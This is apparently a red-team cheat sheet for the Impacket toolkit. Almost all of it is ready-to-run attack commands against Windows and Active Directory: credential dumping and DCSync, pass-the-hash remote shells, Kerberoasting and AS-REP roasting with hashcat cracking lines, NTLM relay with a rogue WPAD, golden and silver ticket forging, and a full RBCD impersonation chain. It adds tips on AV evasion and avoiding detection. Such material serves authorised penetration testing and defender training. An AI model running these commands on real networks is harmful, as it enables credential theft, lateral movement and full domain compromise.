Impacket

The Python toolkit for Windows network protocol implementation and exploitation (SMB/RPC/LDAP/Kerberos).

Note — On Kali the example scripts are installed with an impacket- prefix (e.g. impacket-secretsdump, impacket-GetUserSPNs). A pip install exposes them as the bare *.py names used below. Use whichever your environment provides.

Authentication Methods Summary

All Impacket tools support multiple authentication methods:

Common Global Flags

secretsdump.py

The crown jewel of Impacket. Extracts credentials from Windows systems via multiple methods: SAM database, LSA secrets, cached domain credentials, and NTDS.dit (the AD database).

How it works:

[1] Connects via SMB/RPC to the target
[2] Dumps the SAM hive (local accounts)
[3] Extracts LSA secrets (service account passwords, machine account keys)
[4] If targeting a DC: uses DRSUAPI (DCSync) or VSS to pull NTDS.dit

Common usage:

# Remote dump with plaintext credentials
secretsdump.py domain.local/administrator:P@ssw0rd@10.10.10.10

# Remote dump with NTLM hash (Pass-the-Hash)
secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/administrator@10.10.10.10

# Remote dump with Kerberos ticket (Pass-the-Ticket)
export KRB5CCNAME=/path/to/ticket.ccache
secretsdump.py -k -no-pass domain.local/administrator@dc01.domain.local

# DCSync specific user only
secretsdump.py -just-dc-user krbtgt domain.local/administrator:P@ssw0rd@10.10.10.10

# DCSync NTLM hashes only (skip Kerberos keys)
secretsdump.py -just-dc-ntlm domain.local/administrator:P@ssw0rd@10.10.10.10

# Offline extraction from copied registry hives
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

# Offline extraction from NTDS.dit
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Key flags:

psexec.py

The classic remote execution method. Mimics Sysinternals PsExec by uploading a service binary to ADMIN$ and registering it as a Windows service.

How it works:

[1] Authenticates to SMB on the target
[2] Uploads a service executable to ADMIN$ (C:\Windows)
[3] Connects to the Service Control Manager (SCM) via RPC
[4] Creates and starts a new service pointing to the uploaded binary
[5] Service connects back, providing an interactive shell
[6] On exit, stops/deletes the service and removes the binary

Common usage:

# Interactive shell
psexec.py domain.local/administrator:P@ssw0rd@10.10.10.10

# Execute single command
psexec.py domain.local/administrator:P@ssw0rd@10.10.10.10 "ipconfig /all"

# Pass-the-Hash
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/administrator@10.10.10.10
psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/administrator@10.10.10.10

# Specify alternate executable (useful for AV evasion)
psexec.py -file /path/to/custom.exe domain.local/administrator:P@ssw0rd@10.10.10.10

# Use specific share
psexec.py -path C$ domain.local/administrator:P@ssw0rd@10.10.10.10

Key flags:

OPSEC — High noise: creates files, services, and event logs; detected by most EDR. Consider wmiexec.py or smbexec.py for stealth.

wmiexec.py

Stealthier alternative to psexec. Uses Windows Management Instrumentation (WMI) for command execution. No binary dropped to disk.

How it works:

[1] Authenticates via DCOM/WMI
[2] Creates a Win32_Process to execute commands
[3] Output is written to a file in ADMIN$, read back via SMB, then deleted
[4] Semi-interactive shell (each command is a new process)

Common usage:

# Interactive shell
wmiexec.py domain.local/administrator:P@ssw0rd@10.10.10.10

# Execute single command
wmiexec.py domain.local/administrator:P@ssw0rd@10.10.10.10 "whoami /priv"

# Pass-the-Hash
wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/administrator@10.10.10.10

# Kerberos authentication
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass administrator@dc01.domain.local

# Silently execute (no output retrieval)
wmiexec.py -silentcommand domain.local/administrator:P@ssw0rd@10.10.10.10 "powershell -enc BASE64..."

Key flags:

OPSEC — No binary dropped to disk, but still creates a process and writes temporary files; WMI process creation is logged (Event ID 4688 if enabled).

smbexec.py

Another execution method using native Windows services. Unlike psexec, it doesn’t upload a binary — instead it abuses the service binary path to execute commands directly.

How it works:

[1] Creates a service with the command embedded in the service binary path
[2] Example: %COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\C$\output.txt 2^>^&1
[3] Starts the service (executes the command)
[4] Reads output from the created file
[5] Deletes the service

Common usage:

# Interactive shell
smbexec.py domain.local/administrator:P@ssw0rd@10.10.10.10

# Pass-the-Hash
smbexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/administrator@10.10.10.10

# Specify execution mode
smbexec.py -mode SERVER domain.local/administrator:P@ssw0rd@10.10.10.10

Key flags:

GetUserSPNs.py (Kerberoasting)

Extracts TGS tickets for accounts with Service Principal Names (SPNs) set. These tickets are encrypted with the service account’s password hash and can be cracked offline.

How it works:

[1] Queries LDAP for accounts with servicePrincipalName attribute
[2] Requests TGS tickets for discovered SPNs via Kerberos
[3] Outputs tickets in crackable format (Hashcat/John)

Common usage:

# Enumerate SPNs only
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10

# Request tickets
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request

# Output to file in Hashcat format
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt

# Target specific user
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request-user sqlservice

# Using Pass-the-Hash
GetUserSPNs.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/user -dc-ip 10.10.10.10 -request

# Using Kerberos auth
export KRB5CCNAME=user.ccache
GetUserSPNs.py -k -no-pass -dc-host dc01.domain.local domain.local/user -request

Cracking the hashes:

# Hashcat (TGS-REP, etype 23 / RC4)
hashcat -m 13100 kerberoast.txt wordlist.txt -r rules/best64.rule

# John
john --wordlist=wordlist.txt kerberoast.txt

Key flags:

GetNPUsers.py (AS-REP Roasting)

Targets accounts with “Do not require Kerberos pre-authentication” enabled. Requests AS-REP responses containing the user’s encrypted timestamp (crackable offline).

How it works:

[1] Sends AS-REQ without pre-authentication data
[2] If the account doesn't require pre-auth, the KDC returns AS-REP
[3] The AS-REP contains encrypted data using the user's password hash
[4] Extract and crack offline

Common usage:

# Check known user
GetNPUsers.py domain.local/targetuser -dc-ip 10.10.10.10 -no-pass

# Enumerate and request (requires valid creds)
GetNPUsers.py domain.local/user:password -dc-ip 10.10.10.10 -request

# Spray userlist (no auth required)
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Output to file
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat -outputfile asrep.txt

Cracking the hashes:

# Hashcat (AS-REP, etype 23 / RC4)
hashcat -m 18200 asrep.txt wordlist.txt -r rules/best64.rule

# John
john --wordlist=wordlist.txt asrep.txt

Key flags:

ntlmrelayx.py

Captures NTLM authentication and relays it to other services (SMB, LDAP, MSSQL, HTTP, IMAP, etc.).

How it works:

[1] Sets up rogue server(s) to capture authentication
[2] When a victim authenticates, relays the credential exchange to a target
[3] Uses the relayed session to perform actions (execute commands, dump hashes, modify AD, etc.)

Common usage:

# Basic relay to SMB
ntlmrelayx.py -tf targets.txt -smb2support

# Relay and execute command
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami > C:\\pwned.txt"

# Relay to LDAP and escalate via delegation (RBCD)
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access

# Relay to LDAP and add computer
ntlmrelayx.py -t ldap://dc01.domain.local --add-computer ATTACKER01

# Relay to LDAP and perform DCSync ACL abuse
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user compromiseduser

# SOCKS proxy mode (keeps sessions alive)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then use proxychains with other tools

# Serve a malicious WPAD file
ntlmrelayx.py -tf targets.txt -smb2support -wh attacker-wpad

# Relay IPv6 (combine with mitm6)
ntlmrelayx.py -6 -tf targets.txt -smb2support -wh wpad.domain.local

Key flags:

Combining with Responder:

# Terminal 1: Disable SMB/HTTP in Responder.conf, then:
responder -I eth0

# Terminal 2:
ntlmrelayx.py -tf targets.txt -smb2support -socks

getTGT.py / getST.py

Request Kerberos tickets for use with Pass-the-Ticket attacks.

getTGT.py - Request TGT

# With password
getTGT.py domain.local/user:password -dc-ip 10.10.10.10
# Outputs: user.ccache

# With NTLM hash (Overpass-the-Hash)
getTGT.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 domain.local/user -dc-ip 10.10.10.10

# With AES key
getTGT.py -aesKey <aes256_key> domain.local/user -dc-ip 10.10.10.10

getST.py - Request Service Ticket

# Request ticket for specific SPN
getST.py -spn cifs/fileserver.domain.local -dc-ip 10.10.10.10 domain.local/user:password

# S4U2Self (impersonate user to self)
getST.py -spn cifs/target.domain.local -impersonate Administrator -dc-ip 10.10.10.10 domain.local/machineaccount$:password

# S4U2Proxy (constrained delegation abuse)
getST.py -spn cifs/dc01.domain.local -impersonate Administrator -dc-ip 10.10.10.10 domain.local/service:password

Using the tickets:

# Set environment variable
export KRB5CCNAME=/path/to/user.ccache

# Use with any Impacket tool
wmiexec.py -k -no-pass user@target.domain.local
secretsdump.py -k -no-pass user@dc01.domain.local
smbclient.py -k -no-pass user@fileserver.domain.local

ticketer.py (Golden/Silver Tickets)

Forges Kerberos tickets for persistence or privilege escalation.

Golden Ticket

Requires: krbtgt hash, Domain SID.

# Forge Golden Ticket for Administrator
ticketer.py -nthash <krbtgt_nthash> -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX -domain domain.local Administrator

# With AES key
ticketer.py -aesKey <krbtgt_aes256_key> -domain-sid S-1-5-21-... -domain domain.local Administrator

# With specific groups
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local -groups 512,513,518,519,520 Administrator

Silver Ticket

Requires: Service account hash, Domain SID, target SPN.

# Forge Silver Ticket for CIFS on specific host
ticketer.py -nthash <service_hash> -domain-sid S-1-5-21-... -domain domain.local -spn cifs/fileserver.domain.local Administrator

Using forged tickets:

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass Administrator@dc01.domain.local

smbclient.py

Interactive SMB client for browsing shares and transferring files.

# Connect to target
smbclient.py domain.local/user:password@10.10.10.10

Inside the shell:

# List shares
shares

# Navigate
use C$
cd Windows
ls
pwd

# Download files
get ntds.dit
mget *.txt

# Upload files
put payload.exe

# File info
info file.txt

Key commands:

rbcd.py (Resource-Based Constrained Delegation)

Configures RBCD to enable service impersonation attacks.

Attack chain:

[1] Have GenericWrite/GenericAll over a computer object
[2] Create or control a computer account (need its credentials)
[3] Configure RBCD to allow your controlled account to impersonate users to the target
[4] Request S4U2Self + S4U2Proxy tickets
[5] Access target as impersonated user

Usage:

# Configure RBCD
rbcd.py -delegate-from ATTACKER$ -delegate-to TARGET$ -action write domain.local/user:password -dc-ip 10.10.10.10

# Read current RBCD config
rbcd.py -delegate-to TARGET$ -action read domain.local/user:password -dc-ip 10.10.10.10

# Remove RBCD
rbcd.py -delegate-from ATTACKER$ -delegate-to TARGET$ -action remove domain.local/user:password -dc-ip 10.10.10.10

Complete attack workflow:

# 1. Add computer (if needed)
addcomputer.py -computer-name ATTACKER$ -computer-pass 'P@ssw0rd123' domain.local/user:password

# 2. Configure RBCD
rbcd.py -delegate-from ATTACKER$ -delegate-to TARGET$ -action write domain.local/user:password

# 3. Get impersonation ticket
getST.py -spn cifs/TARGET.domain.local -impersonate Administrator -dc-ip 10.10.10.10 domain.local/ATTACKER$:'P@ssw0rd123'

# 4. Use ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass TARGET.domain.local